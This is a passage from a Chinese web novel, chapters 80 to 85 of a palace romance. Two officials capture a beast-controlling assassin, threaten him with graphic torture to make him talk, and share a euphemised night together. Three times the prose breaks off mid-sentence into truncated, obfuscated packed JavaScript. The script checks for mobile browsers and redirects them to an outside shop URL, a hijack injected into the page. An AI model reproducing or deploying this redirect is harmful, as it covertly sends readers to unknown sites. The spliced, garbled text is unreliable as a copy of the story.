费尽心思弄来狮子行刺,没能伤及陛下分毫,那些人绝不会就这么善罢甘休。 正走着,燕修延目光骤然一凛,周身气息一沉:“不对劲。” 两人同时止步。 一入这片山林,方才还清晰可闻的鸟兽虫鸣,竟诡异般尽数消失,死寂得令人心慌。 谢伟恒立刻拉着燕修恒往左下方风口掠去,双双纵身跃至粗壮的树枝上,隐在浓荫之中。 抬眼望向山上,只见无数点幽绿亮光正缓缓移动,密密麻麻,在夜色里看得人毛骨悚然。 燕修延下意识攥紧谢伟恒的衣袖,声音压得极低:“这……这是什么玩意儿啊?” 谢伟恒反手将他的手紧紧握住,语气温柔安定:“应当是野兽的眼睛,不必怕。” 话音刚落,一声悠长凄厉的狼嚎划破夜空,在山间回荡不止。 燕修延刚松了口气—— 狼而已,他雷火丸还多着呢。 可下一刻,此起彼伏的狼嚎接连响起,一声接着一声,从四面八方涌来,声势骇人。 燕修延:…… “干得漂亮。” 这是直接捅了狼窝是吧。 他瞬间便想通了对方的意图。 那些晃动的光点正从山上往山下狂奔,其间还夹杂着虎豹之类猛兽的低吼。 燕修延低声道:“它们定然会往行宫冲,行宫本就背靠山林。” 谢伟恒冷静点头:“行宫靠山一侧,早有重兵把守。” “也是。” 这般大的动静,未等下山便会被守军察觉。 光点越来越近,借着稀薄月光,两人终于看清——那是数量惊人的野兽群。 他们身处下风口,兽群并未察觉树上藏着两人。 而在兽群最后方,竟有一人骑在巨狼背上,手中握着一根细长木棍。 周身还围着七名精悍黑衣人,显然是在护他周全。 燕修延用胳膊肘轻轻碰了碰谢伟恒,无声用眼神询问:怎么动手? 谢伟恒唇角微扬,对着他飞快打了一个手势。 燕修延眼睛一亮,瞬间会意。 嘿,果然想到一块儿去了。 ———————————————— 狮子:比巴掌先来的是烧鸡的香气,啊!真香! 下章预告: 燕修延还是白衣、披头散发的打扮。 他嘴巴里发着空灵的笑声,身形灵动的从一棵树“飘”另一棵树上。 81. 就是个夹心馍馍 欲事擒贼先擒王。 二人立刻分头行动。 燕修延依旧是那身惹眼的白衣,长发松松披散,未束未冠,夜风一吹便随风翻飞,衬得人影愈□□缈。 他唇间溢出几声空灵缥缈的笑,不似人声,反倒像山涧幽影、林间游魂。 足尖轻点枝桠,身形轻盈得不带半分重量,从一棵树轻飘飘“飘”向另一棵,白衣在暗夜里划出一道近乎透明的弧影。 “什么人!谁在那里!” 七名护卫瞬间警觉,齐刷刷拔刀出鞘,刀锋映着微弱天光,冷光乍现,一个个绷紧了脊背,警惕地扫视着漆黑的树丛。 白衣人影在暗处慢悠悠开口,语调轻佻又诡异:“来啦,来的都是客呀~呵呵呵……” 话音未落,白影一晃而过,快得只剩一道残影。 一名护卫心头突突直跳,声音都带上了几分发颤:“别、别是咱们走夜路,撞上山间精怪了……或是野鬼?” “怕什么。” 一道苍老的声音从狼背上缓缓响起,语调古怪,带着几分阴鸷与自负。 “精怪也好,野鬼也罢,抓起来,皆可炼化为我所用。” 那人自怀中掏出一支漆黑骨笛,凑到唇边吹奏。 刺耳尖锐的笛声骤然炸开,不似人间曲调,听得人心头发紧、气血翻涌,浑身都泛起一股说不出的不适。 燕修延装作受不住这魔音穿脑,原本空灵的笑声瞬间变作凄厉惨叫,尖锐得刺破夜色,听得护卫们头皮发麻。 他趁乱指尖一扣,摸出颗早备好的烟丸,又随手抓了一把碎石,以内力裹着一并掷出。 “嘭——” 浓烟骤然炸开,白茫茫一片铺陈开来,瞬间将众人视线遮得严严实实。 “看不见了!什么都看不见了!” “沥老,咱们别跟鬼纠缠,速速下山吧!” 护卫们乱作一团,声音里满是惊慌。 被称作沥老的人对这群胆小如鼠的护卫极为不耐,冷声道:“害怕的,自行先走便是。” 护卫们哪里敢真的独自离开? 一则怕再撞上别的鬼怪,二则惦记着还没拿到手的银钱,只得硬着头皮举剑,在浓烟里胡乱摸索。 “沥老,您躲到我们身后,千万别出来!” 沥老压根没把这区区烟雾放在眼里,依旧自顾自吹着骨笛,笛声尖锐不减。 谢伟恒早已借着笛声定位,此刻身形一纵,径直冲入浓烟之中。 众人只觉劲风一闪,下一秒,一只手已如铁钳般扣住沥老肩头,猛地将人从狼背上提了起来。 “——!” 笛声戛然而止。 沥老连一句完整的话都没来得及出口,后颈便被精准一击,眼前一黑,瞬间昏死过去。 护卫们察觉不对,慌忙拔高声音呼喊:“沥老?沥老!” “不好了!沥老被精怪抓走了!” 燕修延在暗处轻笑一声,随手一抓,拎过离得最近的一名护卫,干脆利落一掌劈在颈侧,也打晕了提在手里。 剩下六人在渐渐消散的烟雾中面面相觑,一个个吓得脸色惨白,握剑的手都在发抖,几乎要握不住兵器。 燕修延与谢伟恒一人提着一个人,悄无声息从山的另一侧疾步下山。 通往行宫的必经之路干干净净,不见半分野兽足迹——显然,控兽之人一倒,那些被操控的凶兽便已四散而去。 燕修延走了几步,嫌提着费劲,抬脚轻轻踢了踢谢伟恒手上的人,笑道:“估计是打晕得彻底,那些畜生才失了控制。他们刚才叫他什么,沥老?还是隶老?” 谢伟恒略一思索:“或许是奴隶的隶。” 燕修延直接把手上的护卫往地上一放,改抓着脚踝拖着走,白衣下摆扫过尘土也不在意。 他偏头打量着被谢伟恒提着的老者,啧啧两声:“看这老头的面相,可不像是我大虞人,这鼻子挺得,都快能扎死人了。再瞧他后脖子,还有块奇怪的图案。” 谢伟恒曾在记载异族风俗的古籍里见过类似纹样,眸色微沉:“他应当是西域奴兽族被驱逐的人。” 西域奴兽族,崇尚野性,崇拜野兽之力,以与兽并肩为荣。 若是有人妄图凌驾于野兽之上、强行控兽,便会被视作叛徒异类,在后颈刺上特有纹印,逐出部落。 “长得就不像个好东西,被驱逐也不奇怪。” 燕修延向来主打一个直白以貌取人。 谢伟恒忽然侧头看他,眼底带着几分浅淡笑意,轻声问道:“那燕大人觉得,我长得如何?” 燕修延余光瞥见手上拖着的护卫眼皮微动,似要清醒,抬手毫不客气又补了一下,确保那人睡得昏天黑地,才慢悠悠回道:“你啊……很难评。” 单看这张脸,白皮嫩肉,清俊温雅,谁能想到谢伟恒私底下是这么一副模样? 可不就是个夹心馍馍。 白嫩嫩的外皮,一口咬下去,里头全是黑透了的夹心。 谢伟恒勾了勾唇角,笑意更深:“我原以为,燕大人会说我样貌尚可,就是心肝黑。” 燕修延挑眉,理直气壮:“不赖,你还挺有自知之明。” 一路说笑,二人已行至行宫之外。 “咚——” “咚——” 两声闷响,两人直接把抓来的两人从后窗丢进了虞睿祥在行宫内的书房。 做完这一切,才整了整衣袍,规规矩矩从前门走去,等着宫人通传后再入内。 虞睿祥坐在书房内,刚才那两声重物落地的声响听得清清楚楚,眼见先被扔进来的人眼皮颤了颤,眼看要醒,结果落地一磕,又昏死过去——说不定,还是被紧跟着扔进来的第二个直接砸晕的。 见二人进来,虞睿祥无奈扶额:“第一个人被扔进来时,朕差点直接下令护驾。” 蹲在房梁上的暗卫在心里默默点头:要不是看清了是谢大人的脸,属下的暗器早出手了。 燕修延与谢伟恒依礼行礼,礼毕,燕修延便上前一步,一手一个,毫不客气地将两人拖到虞睿祥的桌案前,往地上一扔,理直气壮:“陛下,今日您可得好好赏赐臣和谢大人。” 虞睿祥静静抬眸,等着他下文。 燕修延一指地上昏迷的沥老:“臣与谢大人夜里上山,正巧撞上这货色操控野兽,意图袭击行宫。” 虞睿祥指尖轻点桌面,淡淡道:“行宫一切无恙。” “那是因为我们提前把他抓了啊!” 燕修延原本懒散的身子一下子直起来,一脸“你可别想赖账”的表情,“陛下,您不会想赖掉这点赏赐吧?” 这点? 以燕修延的性子,开口必然是狮子大开口,坐地起价。 毕竟真要是让这群凶兽冲进行宫,后果不堪设想,伤亡损失更是无法估量。 虞睿祥倒不是舍不得银子,只是燕修延这要钱的频率和数目,实在让他有点肉疼。 谢伟恒轻轻拍了拍燕修延的手背,示意他稍安勿躁,转而对虞睿祥躬身道:“陛下,臣不想赏赐,只想借此事,向陛下求一个恩典。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646239|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 燕修延在一旁偷偷冲他挤眼睛:恩典能值几个钱?哪有银子实在! 虞睿祥倒是来了兴致:“哦?什么恩典?” 谢伟恒直起身,一字一句,清晰沉稳:“他日燕大人率兵出征之时,粮草军资,由臣亲自押送。” 大虞律法,将士出征,家人必须留在京城为质。 他这一句话,便是要以自身为质,换得与燕修延同行。 虞睿祥没有立刻答应,反倒先看了一眼燕修延的脸色。 燕修延人都快傻了。 这叫什么恩典? 这压根不值钱啊! 打个仗撑死也就几年时间……好吧,他承认,谢伟恒大约是受不了几年不见的相思之苦。 燕修延心里憋屈得不行,张了张嘴,终究没好意思当众反驳,只在心里一遍遍地哀嚎:亏大发了!这波血亏! 见他这般反应,虞睿祥哪里还不明白,当即点头应允:“准。此外,朕再赏赐白银千两。” 一听有钱拿,燕修延那张憋屈的脸才勉强缓和了几分。 还行吧,好歹见着回头钱了。 就在这时,地上传来一声微弱的闷哼。 “唔……” 沥老眼皮颤了颤,缓缓睁开眼,只觉得头皮一阵剧痛,后颈也像要断了一般,酸胀难忍。 他茫然环顾一圈,视线最终定格在高位上的虞睿祥,瞳孔骤缩,失声惊道:“你们是什么人——你是大虞的皇帝!” 燕修延眼尖,一眼瞥见他手偷偷往袖子里摸,显然是想藏什么东西。 他懒得废话,随手拽过一根绳子,上前三下五除二把沥老双手反绑在身后。 扭头对谢伟恒道:“帮把手。” “你们要做什么!你、你们——” 沥老脸色剧变,刚要喝骂,话音却戛然而止。 他惊恐地发现,自己一说话就容易咬到舌头,口齿都不利索了。 燕修延和谢伟恒一人抓住沥老一条腿,干脆利落地把人倒提起来,上下用力一抖。 “哗啦——” 一堆稀奇古怪的小物件从他袖中、怀中纷纷掉落,骨片、药瓶、不知名的兽牙……散落一地。 “哎,这个。” 看到一个圆肚小瓷瓶滚出来,燕修延眼疾脚快,脚尖一勾一夹,稳稳将瓷瓶夹在脚背与小腿之间,收入囊中。 确定再也抖不出什么东西后,两人同时松手。 “噗通——” 沥老整个人头下脚上,直挺挺脸朝地面摔了下去。 燕修延清晰地听见一声轻微的“咔”响,那是对方原本高挺笔直的鼻梁与坚硬地面亲密接触的声音。 他摸了摸自己的鼻子,一脸无辜地看向谢伟恒:“咱们……是不是有点太不尊老了?” 谢伟恒蹲下身,把鼻血横流、痛得抽搐的沥老翻过来,淡淡道:“他虽头发全白,可面上无皱,手皮细嫩,绝非老人。” “咦?好像是假发。” 燕修延凑过去一看,果然见沥老发根处有明显分层,想来是刚才绑手时一薅,把假发拽松了。 ————————————————— 沥老:咱就是说,现在的小年轻这么不尊老的嘛?我都被你俩抓来了,尊老一下能怎的! 假发:不孬不孬,咱也是混上古文圈了。 下章预告: 沥老梗着脖子,语气傲慢:“我不是鱼,我是狼神,是狼族的统领者!” 啧啧,还狼神。 他还玉皇大帝、还狮神呢。 82. 这都找的些什么人? 燕修延指尖扣住一撮垂落的白发,指腹一用力,猛地往下一扯—— 整顶雪白的发套被他随手抛在地上,底下露出来的,是一头乌黑柔软、还带着几分自然卷曲的短发。 燕修延挑了挑眉,目光在沥老头顶打了个转,语气轻佻又欠揍:“呦,还是个卷毛。” 沥老僵在原地,浑身气血都往头顶冲。 他在族中何等尊贵,便是当年被族人驱逐,也从未受过这般折辱。 此刻被人当众扯掉伪装、肆意嘲弄,他气得牙关紧咬,“咯吱咯吱”的磨牙声在寂静室内格外清晰。 “兽神在上——” 他双目赤红,一字一顿,几乎是从牙缝里挤出来,“一定不会饶过你们这群卑劣之徒!” 燕修延抱着胳膊,斜斜倚着柱子,嗤笑一声,语气凉得像冰:“你好像还没弄清楚自己现在的处境。兽神在哪儿,我不清楚。但你,现在是我刀俎下的鱼肉。” 沥老梗着脖子,下巴抬得老高,傲慢不减半分:“我不是鱼!我是狼神,是狼族的统领者!” 燕修延听得差点笑出声。 这人怕是连大虞的官话都没学明白,只听得懂字面意思。 啧啧,还狼神。 他还玉皇大帝、还狮神呢。 一个损招在心底转了一圈,燕修延抬眼看向一旁端坐的虞睿祥,语气一本正经:“陛下,要不这样,把他扒光了关到铁笼里,跟大白比划比划?让大伙儿瞧瞧,是这位狼族统领厉害,还是咱们的大白厉害。” 虞睿祥愣了一下,一时没反应过来:“大白是……” 话没说完,他猛地想起行宫那头威风凛凛的雄狮,语气顿住,眼底先浮上几分哭笑不得:“……那只狮子?” 燕修延递过去一个“正是如此”的眼神,半点不觉得这名字配不上猛兽。 虞睿祥忍不住低笑一声。 堂堂百兽之王,竟被取了这么个软乎乎的名字。 一旁,谢伟恒眼角余光瞥见地上那名被打晕的护卫眼皮微动,似要转醒。 他上前一步,弯腰利落一扯,将护卫双手反绑在身后,随手一丢,扔到沥老脚边 只是准头稍稍偏了些。 护卫“咚”地一声砸在地上,脑袋不偏不倚,狠狠磕在了沥老的鼻子上。 “唔——!” 沥老一声闷哼,眼泪瞬间不受控制地飙了出来,酸麻剧痛顺着鼻梁直冲头顶,疼得他眼前发黑。 “你、你这是做什么!” 他捂着鼻子,声音都变了调,气急败坏,“你在亵渎伟大的狼神!” 燕修延眉梢一挑,慢悠悠凑近谢伟恒,压低声音,语气带着几分故意的请教:“谢大人,‘亵渎’这个词,用在这里对吗?我书读得少,你别骗我。” 谢伟恒目光平静,声音清清淡淡:“亵渎,有冒犯、不恭敬之意,确可用作‘亵渎神明’。” 顿了顿,他淡淡瞥了沥老一眼,补充了一句,语气轻得像一片羽毛,却字字扎心:“但自封的,不算。” 那一眼太过淡然,仿佛在看什么不值一提的东西。 沥老被这轻飘飘的眼神彻底激怒,嘶吼出声:“我就是狼神!整个狼群都是我的仆从!它们听从我的号令!” “行,怪不得被家族驱逐。” 燕修延啧了一声,一副“我成全你”的模样,转头对虞睿祥道,“陛下,那不如让人把他五花大绑,丢到后山去?让他跟他的狼群仆从好好亲热亲热。” 虞睿祥微微颔首,语气不容置疑:“准了。” 他抬眼,淡淡扫了一眼房梁。 下一秒,两道黑影悄无声息从梁上跃下,落地无声,正是潜伏在暗处的暗卫。 两人上前,一左一右架起沥老,便要往外拖。 沥老这才真正慌了,挣扎着嘶吼:“把我的兽笛和灵药还给我!那是我的东西!” 燕修延弯腰,从地上捡起那根细如枯枝的长笛,在指尖转了一圈:“这是兽笛?” 沥老拼命点头。 他又拿起一旁那个圆肚瓷瓶,晃了晃:“这是灵药?” 沥老再次点头,眼神里带着一丝急切。 燕修延却将这两样东西随手放到远远的案几上,对暗卫挥了挥手,语气随意得像在处理一件垃圾:“丢上山之前,记得把他扒光,免得衣服里还藏着什么不该藏的东西。” 沥老彻底懵了。 他活了这么多年,从未见过燕修延这般无耻、这般无赖的人。 什么狼神高傲、什么族中尊严,此刻在生死面前全都抛到了九霄云外。 沥老气急败坏地尖叫:“你们不能这么对我!你们这是、这是草管人命!” 燕修延挑眉,看向谢伟恒,故意拉长语调:“草……管?” 谢伟恒淡淡纠正:“他说的应该是——草菅人命。” 燕修延龇牙一笑,露出一口整齐森白的牙,笑意却未达眼底,透着几分冷冽的狠劲:“正好,我来让你亲身体验一下,什么叫做真正的草菅人命。” 不远处,那名刚幽幽转醒、还想装死蒙混过关的护卫,恰好看见燕修延这副表情,又听见这句冰冷的话,身体猛地一僵。 下一秒,他“唰”地一下闭上眼,呼吸都屏住,拼命假装自己还没醒。 燕修延懒得理他,目光重新落回沥老身上,语气慢悠悠,却字字诛心:“你徒手挖过人眼珠吗?我可以挖了你的,再放到你手里,给你盘着玩。” 沥老瞳孔骤缩,眼睛猛地睁大,随即又死死闭上,不敢去看他脸上的笑意。 燕修延继续轻声细语,像在说什么家常:“我还会片人,片出来的肉薄如蝉翼,透明得能看见光。你知道,一个人最多能片多少片吗?” 沥老浑身汗毛倒竖,恨不得自己此刻是个聋子。 “哦,对了。” 燕修延像是忽然想起什么,语气更添几分兴致,“我还会剥皮。完整地把你一整张皮剥下来,你人还能喘气,亲眼看着自己的皮被挂起来。” 沥老腿肚子控制不住地打颤,一股寒意从脚底直冲天灵盖,连呼吸都带着疼。 见他还硬撑,燕修延张口还想继续“介绍”自己的看家本领。 沥老终于崩溃,再也撑不住那点狼神的体面,声音发颤地开口求饶:“你、你快别说了!别再说了!你们到底想干嘛?!” 燕修延微微一怔,随即露出几分遗憾的神色。 这才哪儿到哪儿啊,他还有一肚子手段没来得及说呢。 房梁上的暗卫见状,又悄无声息地隐了回去。 燕修延收了脸上那股戏谑的狠劲,语气恢复平静,却带着不容抗拒的压迫:“说清楚。你是谁,谁派你来的,来到这里之后,你们都做了什么。” 他说着,从腰间掏出一柄薄如蝉翼、闪着冷光的小巧匕首,在指尖灵活地转了个刀花:“少交代一句,我就片下一片你的肉,喂给你自己吃。你要是怕吃生的,我也可以烫熟了再给你。” 沥老咽了口唾沫,头皮一阵阵发麻。 大虞……怎么会有这么恶毒可怕的人! 他再也不敢有半分隐瞒,哆哆嗦嗦,一五一十地全盘托出:“我、我是奴兽族人,沥老是我的名字……” “艾木都拉让我来的——他是我在大虞认识的朋友,是他拜托我把狮子放进围场的……” 围场外的守卫早已被人引开,他几乎没费什么力气,只用一只鸡,便将那头雄狮诱进了围场。 之后又将失心散撒在飞鸟的羽毛上,用兽笛操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646240|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 控鸟儿在围场上空盘旋,失心散便随着飞鸟的动作,悄无声息地洒了下去。 沥老偷偷瞄了一眼燕修延指间那柄转个不停的匕首,小心翼翼地补充:“艾木都拉还吩咐我,等夜里再引兽群冲击行宫,最好……最好把里面的人全都杀了。” 燕修延眼神微冷:“全都杀了,一个不留?” 沥老忙不迭点头:“是、是!一个不留!” 燕修延忽然笑了。 看来,晋王和中书令之间的关系,远没有他们表面看上去那般牢靠。 他想起之前中书令自己怀里揣着大把黄符,却只分给晋王寥寥几张的模样,笑意更深。 谢伟恒适时开口,语气平静:“你认识晋王吗?” 沥老拼命摇头:“不认识!我真的不认识!” 他生怕几人不信,又急着强调一遍,“我与他素未谋面!” “行了,你可以闭嘴了。” 燕修延没兴趣再听他废话,抬脚轻轻踢了踢一旁装死的护卫,“再不睁眼,我就下刀了。说说看,从哪儿开始片比较好?” 护卫“唰”地一下睁开眼,连滚带爬地跪直,声音抖得不成样子:“大、大、大人!您尽管问!小的知无不言、言无不尽!什么都说!” 这几人来自一个江湖杀手组织,任务便是暗中除掉围场外的守卫,放狮子入内,并且全程保护沥老的安全。 燕修延听得一阵无语。 这找的都是些什么人? 晋王的暗卫怕鬼。 请来的奴兽族人怕死。 雇来的杀手更是怂得不堪一击。 他懒得跟这些小喽啰计较,让人给那护卫喂下一颗忘忆丸,清理干净记忆后,直接丢出行宫。 至于沥老。 燕修延觉得,就这么放了,实在有些可惜。 他晃了晃手中药瓶里的黑色药丸,口中念念有词,语气带着几分恶意的玩味:“把这些全都给他喂下去,不知道……会不会连奴兽族人控兽的本事也一起忘干净?” 沥老吓得浑身瑟瑟发抖,脸色惨白如纸:“我、我可以听话!我听你们的!你们要我做什么,我就做什么!绝不敢违抗!” 燕修延这才收起药瓶。 暗卫再次应声跃下,上前一把抓起沥老。 沥老吓得“哇哇”乱叫,声音凄厉:“别杀我——啊啊啊!别杀我啊!” 暗卫被他吵得眉头直皱,不胜其烦,干脆抬手一掌,精准劈在他后颈。 沥老眼睛一翻,瞬间晕了过去,世界终于清静。 虞睿祥淡淡吩咐暗卫,将人秘密带走,严加看守,不得走漏半点风声。 燕修延掏了掏耳朵,被刚才那阵尖叫吵得耳膜发疼。 暗卫刚押着人离开没多久,门外便传来一道娇柔婉转、甜得发腻的女声,隔着门板飘了进来: “陛下~臣妾听闻陛下处理政务至今未歇,特地去厨房炖了甜汤,给陛下送来暖暖身子。” 是安凝棠。 燕修延想起虞睿祥晚膳时吃多了东西,眼底闪过一丝揶揄,对着虞睿祥拱手一笑:“陛下,春宵一刻值千金,臣等不便打扰,先行告退。” 话音未落,他伸手一抓,扣住谢伟恒的手腕,转身便朝着窗边走去。 不等屋内人反应,两人纵身一跃,直接从窗口跃了出去,身影消失在夜色之中。 落地之后,谢伟恒偏过头,温热气息拂过燕修延耳畔,声音低低的,带着几分忍俊不禁的笑意:“原来,燕大人也知道,春宵一刻值千金。” ———————————————— 沥老:我现在后悔学大虞的语言还来得及不 下章预告: 会有亲亲哦,但我还没想好怎么写,嘻嘻?? 83. 教个鬼!!! 燕修延抬手就把凑过来的谢伟恒脑袋轻轻往旁边一推,眉梢微挑,语气里带着几分不耐又藏着纵容:“你少来。” “燕大人真是冷漠。” 谢伟恒低低一笑,非但没退开,反而微微偏头,在燕修延的手指上轻轻咬了一口。 不重,更像小猫蹭咬,带着点撒娇似的挑衅。 燕修延:“……” 指尖莫名一麻,他手指几不可查地蜷了蜷,像是被烫到一般猛地抽回手,脚下一点,身形利落翻上墙头,头也不回地往住的院子掠去。 那背影瞧着干脆利落,细看之下,竟有几分落荒而逃的意味。 掠过旁人屋顶时,燕修延脑海里偏偏又不受控制地浮起方才那一下轻咬,温软的触感还残留在皮肤上。 他心头一乱,脚下不自觉重了几分,瓦片轻轻一响,漏出些微动静。 底下正与中书令对弈的老大人抬眼望了望屋顶,捋着花白胡须慢悠悠开口:“何大人,你可听见什么声响?似乎有什么东西从上头跑过去了?” 中书令心头猛地一突突,脸上却强装镇定,干笑两声:“没、没有吧,许是风刮的,我没听见。” 老大人也不点破,只笑呵呵道:“已是这般时辰了,这盘棋下完,何大人也该回去歇息了。” 中书令心里早打定主意,今夜说什么也要赖在这儿,打死不回自己那院。 他打了个哈哈,执子落下:“不急不急,棋还没下完,先下棋,先下棋。” 燕修延一路掠回院中,推门进屋,换了身宽松寝衣。 刚整理好衣襟,门外便传来一声轻响,谢伟恒推门而入,身姿闲适,笑意温温。 “燕大人脚程可真快。” 燕修延懒得理他,一言不发脱了鞋上床,扯过被子往身上一裹,面朝里躺下,脊背绷得笔直,摆明了一副“别来烦我”的模样。 身后很快传来衣料轻擦的声响。 不过片刻,谢伟恒便掀开被子一侧,轻手轻脚躺了进来。 他微微俯身,温热气息拂在燕修延耳后,声音低哑带笑:“燕大人这般心急?” 燕修延猛地转过身,气鼓鼓瞪他:“我心急个——” 话音未落,唇上忽然贴上一片温软。 谢伟恒的吻落得猝不及防。 燕修延心里当场把人骂了个遍——谢伟恒这混账,当真半点不当人。 他只觉对方的手顺着自己的手腕缓缓向上,指腹轻轻摩挲着他的指节,而后指尖钻进他指缝,轻轻一扣,便与他十指紧紧相缠。 “……你亲够了没有!” 燕修延实在憋不住,张口便在谢伟恒唇上轻咬一口,耳根泛红,语气又羞又恼,“就一张破嘴,亲亲亲、亲个没完了还!” “燕大人这话说得不对。” 谢伟恒低笑,拇指轻轻按住燕修延被吻得微微水光的唇,声音哑得撩人,“若大人愿意每日亲我一下,我不知该有多欢喜。” 燕修延张口咬了咬他的拇指,又一巴掌拍开他的手,别过脸:“你又不是银子,还想我天天亲你?我不天天捶你一顿,你就该偷着乐了。” 谢伟恒笑意更深,慢悠悠抛出一句:“可我每日,都能将铺子里的进项全数交给燕大人。” 燕修延眼神几不可查地飘了飘,不动声色动了动手腕,语气硬撑着平淡:“亲完了吧,该睡觉了。” ——银子放在那儿不会生银子,可谢伟恒能天天往他这儿送银子。 不过亲一下而已,他大人有大量,不跟这人计较。 念头刚转完,身侧的人手掌忽然往下一探。 燕修延表情一僵,瞬间炸毛:“……你的爪子往哪儿摸呢?信不信我给你剁了——” 谢伟恒低头再次吻住他,干脆利落地堵住那喋喋不休的嘴,不让他再说半句煞风景的话。 燕修延手指死死蜷起,心里又气又乱——就算你会掉银子,也不能这么没完没了啊! 谢伟恒的吻向来是这般,温柔缱绻里裹着不容拒绝的强势,像温水裹着烈火,一点点将人烧得神志不清。 屋内烛火轻轻跳动,床幔半垂,两道人影在榻上交叠相覆。 燕修延抬眼望着上方的人。 谢伟恒眼底燃着浅淡火光,额头因隐忍绷起一道浅淡青筋,平日里温润的模样添了几分侵略性。 燕修延喉间微紧,慌忙把头偏向一边,声音轻得像蚊蚋:“你……蜡烛都快烧没了。” 谢伟恒低头,在他鼻尖轻轻一吻,气息微哑:“我鲜少**,燕大人更应好好教我才是。” 燕修延一张脸瞬间烧得通红,几乎要破口而出:“我可去你姥姥的三舅的——” 教个鬼! 谢伟恒这混账,分明会得不能再会! 谢伟恒再次吻住他那张不肯安分的嘴,将所有恼羞成怒的话尽数吞入口中。 “燕大人可知,” 他稍稍退开一点,唇瓣擦着燕修延的唇角低笑,“人越是害羞、越是不好意思,反而越爱说话,不过是为了掩饰心底慌乱。” 燕修延睁圆了眼——又、又没说成话。 他在心里疯狂腹诽:你才害羞!你全家都害羞!害羞你大爷! 谢伟恒握着燕修延的手帮自己来回***。(注:后续读者自己想一下吧,作者不敢写了,再透一下:没进去,嘻嘻??) 烛火燃到尽头,微光一跳,彻底暗下。 谢伟恒伸手吹灭最后一点残光,回身躺回床上,将已经睡得安稳的燕修延轻轻搂进怀里,在他发顶印下一个极轻极柔的吻。 “好梦。” 燕修延睡得沉,一夜无梦。 次日一早。 中书令昨夜勉强在老大人外间凑合睡了半宿,睡得心惊胆战,眼下一片青黑。 刚醒没多久,便听见礼部尚书跟旁人议论,说昨日看见燕修延给谢伟恒送花。 中书令揉了揉发沉的太阳穴,只当是自己没睡好,听岔了。 旁人也纷纷摇头,半点不信。 “宁大人定是听错了,燕大人那般性子,怎么可能给谢大人送花?” “就是,燕大人最多随手摘朵花,去调戏谢大人还差不多。” “是啊,燕大人素来最爱逗弄谢大人。” 礼部尚书懒得跟这群人多解释,一扭头看见路过的吏部尚书,立刻快步跟上:“漠大人这是去哪儿?我跟你说啊,昨日我可是亲眼看见……” 等燕修延和谢伟恒在院里喂完两招。 几乎人人都知道他燕修延随手摘了朵花,戏弄谢伟恒。 燕修延:“……” 礼部尚书这个大嘴巴! 他真想冲上去给对方一个结结实实的大嘴巴子。 当什么尚书,简直浪费人才! 直接去监察司报道,跟温瑞一起做传讹官得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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中书令死死抓住身旁侍卫的胳膊,哆嗦着手从怀里摸出一小块碎银,往侍卫手里塞:“老夫昨夜没睡好,身子不适,恐经受不住长途奔波,劳烦……劳烦快为老夫寻一顶小轿来。” 侍卫没接那点碎银,又轻轻推了回去,恭敬道:“小的这就去为大人备轿。” 就这点银子,收了还不如不收,不收,反倒能算个人情。 中书令讪讪收回银子,心里更是叫苦不迭。 他原本带了不少银票在身上,可前几日房中不知是进了贼,还是撞了鬼。 今日收拾行李时才发现,竟只剩下些零碎银子。 前方不远处,燕修延装作不经意地回头一瞥,看清中书令那副魂不附体、腿软到站不稳的模样,当即忍不住偏头,对着身旁的谢伟恒低低坏笑。 “你瞧,他吓得腿都软了,走不动道了。” 阳光落在他眼尾,笑意狡黠又张扬,像只刚得逞的小狐狸。 谢伟恒望着他,眼底温柔漫溢,轻轻应了一声:“嗯,都依你。” ———————————————— 燕修延:不孬不孬,阅读理解做的不错, 下章预告: 作者没想好,尽情期待一下吧?????? 85. 骂的就是你! 燕修延踏入酒仙茶苑时,大堂里已坐了好几桌客人,茶香混着饭菜香气漫在空气里。 他目光随意扫过一圈,心里暗自盘算,不知谢伟恒到了没有。 刚迈进门,眼尖的小二立刻堆着笑迎上来,躬身引路:“燕大人,您里边请,雅间早已备好了。” 燕修延脚步微顿,目光在小二脸上顿了顿,随口指了指自己脸颊一侧:“上次我来时,你们这儿有个小二,这儿长颗黑痣,手脚麻利得很,今日怎么没见着?” 那小二闻言先是一怔,随即摆了摆手,压低声音叹道:“嗨,您说的是他啊——早被掌柜的撵走了。说是人不老实,总爱躲在雅间外头偷听客人说话,转头就把消息卖给外头打听事的,犯了店里大忌,留不得。” “原来如此。” 燕修延淡淡应了一声,没再多问,跟着小二径直走进谢伟恒早已等候的雅间。 两人点了菜,暂且静候上菜。 谢伟恒指尖轻叩桌面,先开了口,语气随意,像是闲话家常:“方才我在楼下闲坐,倒听了些有意思的事。” 燕修延端起茶盏抿了一口,随手捻起碟中一粒花生米丢进嘴里,嚼得清脆:“哦?说来听听。” “有人说,近来京郊的生意格外好做,莫名来了一批出手阔绰的人。” 燕修延眼底掠过一丝玩味,放下茶盏笑道:“择日不如撞日,吃完饭便往京郊转一圈。早知道如此,菜便少点些,留着肚子尝京郊的小吃。” 